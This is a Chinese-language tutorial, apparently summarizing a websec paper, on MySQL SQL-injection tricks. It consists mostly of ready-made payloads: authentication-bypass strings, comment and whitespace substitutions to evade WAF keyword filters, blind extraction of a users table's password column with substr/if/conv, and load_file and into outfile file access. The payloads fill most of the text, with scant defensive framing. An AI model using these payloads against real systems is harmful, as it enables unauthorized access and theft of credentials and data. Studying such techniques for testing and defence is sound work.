# MySQL注入技巧
原文地址：http://websec.files.wordpress.com/2010/11/sqli2.pdf
0x00、介绍
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也可以参考瞌腄龙的mysql注入科普：http://drops.wooyun.org/tips/123
很多东西都是一样的，但是有一些小技巧确实很使用。
以下所有技巧都只在mysql适用，因为它太灵活了
0x01 MYSQl灵活的语法
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**1 MySQL语法以及认证绕过**
注释符：
“`
#，
— X(X为任意字符)
/*(MySQL-5.1)
;%00
`
‘or 1=1;%00
‘or 1=1 union select 1,2`’
‘or 1=1 #
‘/*!50000or*/ 1=1 — – //版本号为5.1.38时只要小于50138
‘/*!or*/ 1=1 — –
“`
前缀：
任意混合`+ – ~ !`
“`
‘or –+2=- -!!!’2
“`
测试后发现`and/or`后面可以跟上偶数个`!、~`可以替代空格，也可以混合使用(混合后规律又不同)，and/or前的空格可以省略
“`
‘or- -!!!1=1；
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运算符：
“`
^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……
‘or 1 rlike ‘1
“`
空格替换：`%20, %09, %0a, %0b, %0c, %0d, %a0`
也可以插入括号，前缀，操作符，引号
“`
‘or+(1)sounds/**/like”1″–%a0-
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字符串格式
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‘ or “a”=’a’
‘ or ‘a’=n’a’ //unicode
‘ or ‘a’=b’1100001’ //binary
‘ or ‘a’=_binary’1100001’ //5.5.41下测试无效
‘ or ‘a’=x’61’ //16进制
“`
**2、MySQL常用的一些小工具**
常量：`true， false， null， \N, current_timestamp….`
变量：`@myvar:=1`
系统变量：`@@version, @@datadir….`
常用函数：`version(), pi(), pow(), char(), substring()….`
**3、MySQL类型转换**
“`
‘ or 1=true #true=1, false=0
‘ or 1 #true
‘ or version()=5.5 #5.5.41-log
‘ or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users
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以上的语句都是同样的效果
**4、认证绕过**
绕过语句：`’=’`
“`
select data from users where name=”=”
select data from users where flase=”
select data from users where 0=0
“`
绕过语句：`’-‘`
“`
select data from users where name=”-”
select data from users where name=0-0
select data from users where 0=0
“`
0x02 关键字过滤
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空格
过滤代码`/\s/`
“`
%20, %09, %0a, %0b, %0c, %0d, %a0
“`
关键字`OR，AND`
过滤代码`/\sor\s/i,/\sand\s/i`
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‘||1=’1 #or
‘=’
‘&&1=’1 #and
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关键字`union select`
过滤代码`/union\s+select/i`
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‘and(true)like(false)union(select(pass)from(users))#
‘union [all|distinct] select pass from users#
‘union%a0select pass from users#
‘union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users– –
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如果单独过滤union,使用盲注来获取数据
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‘and(select pass from users limit 1)=’secret
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通过子查询获取单值来进行比较
关键字`limit`
过滤代码`/limit/i`
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‘and(select pass from users where id=1)=’a
‘and(select pass from users group by id having id=1)=’a
‘and length((select pass from users having substr(pass,1,1)=’a’))
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关键字`having`
过滤代码`/having/i`
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‘and(select substr(group_concat(pass),1,1)from users)=’a
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关键字`select … from`
过滤代码`/SELECT\s+[A-Za-z.]+\s+FROM/i/i`
“`
select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)
“`
关键字`select`
过滤代码`/select/i`
### 1 有文件读取权限
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‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+
length(‘DocumentRoot’),10)=’a’=” into outfile ‘/var/www/dump.txt
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### 2 获取列名
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‘ and 列名 is not null#
‘ procedure analyse()#
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使用substr来做过滤条件
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‘and substr(pass,1,1)=’a
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关键字`select,and,&`
‘0#
“`
select data from users where name = ”-0 # int typecast
select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true
“`
‘-1#
“`
select data from users where 0 = -1 # false
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使用条件判断来进行`true、false`的选择
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ifnull(nullif()), case when， if()
‘-if(name=’Admin’,1,0)#
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使用嵌套条件`’-if(`
“`
if(name=’Admin’,1,0), // condition
if(substr(pass,1,1)=’a’,1,0) // if true
,0)# // if false
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0x03 函数过滤
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构建字符串相关函数
“`
unhex char hex ascii ord substr substring mid pad left right insert
‘ and substr(data,1,1) = ‘a’#
‘ and substr(data,1,1) = 0x61# 0x6162
‘ and substr(data,1,1) = unhex(61)# unhex(6162)
‘ and substr(data,1,1) = char(97)# char(97,98)
‘ and hex(substr(data,1,1)) = 61#
‘ and ascii(substr(data,1,1)) = 97#
‘ and ord(substr(data,1,1)) = 97#
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使用conv来进行进制的转换
“`
‘ and substr(data,1,1) = lower(conv(10,10,36))# ‘a’
‘ and substr(data,1,1) = lower(conv(11,10,36))# ‘b’
‘ and substr(data,1,1) = lower(conv(36,10,36))# ‘z’
“`
使用函数来猜解数据
“`
‘ and substr(data,1,1) = ‘a’#
‘ and substring(data,1,1) = ‘a’#
‘ and mid(data,1,1) = ‘a’#
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不适用逗号来获取
“`
‘ and substr(data from 1 for 1) = ‘a’#
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同样也可以使用一下比较少见的函数来尝试绕过
“`
lpad(data,1,space(1)) // lpad(‘hi’,4,’?’) = ‘??hi’
rpad(data,1,space(1)) // rpad(‘hi’,4,’?’) = ‘hi??’
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))
“`
有些函数有类似搜索匹配的功能
“`
‘-if(locate(‘f’,data),1,0)#
‘-if(locate(‘fo’,data),1,0)#
‘-if(locate(‘foo’,data),1,0)#
instr(), position()
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使用函数进行字符串的切割
“`
length(trim(leading ‘a’ FROM data)) # length will be shorter
length(replace(data, ‘a’, ”)) # length will be shorter
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2种方式都是相同效果
0x04 注入时主要使用的一些东西
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“`
1个控制流程操作(select, case, if(), …)
1个比较操作(=, like, mod(), …)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())
“`
使用`conv([10-36],10,36)`可以实现所有字符的表示
“`
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
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更多详细的东西可以参考原文去了解，还有一些其他的注入资料可以参考
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http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf
http://www.blackhatlibrary.net/SQL_injection
http://websec.ca/kb/sql_injection
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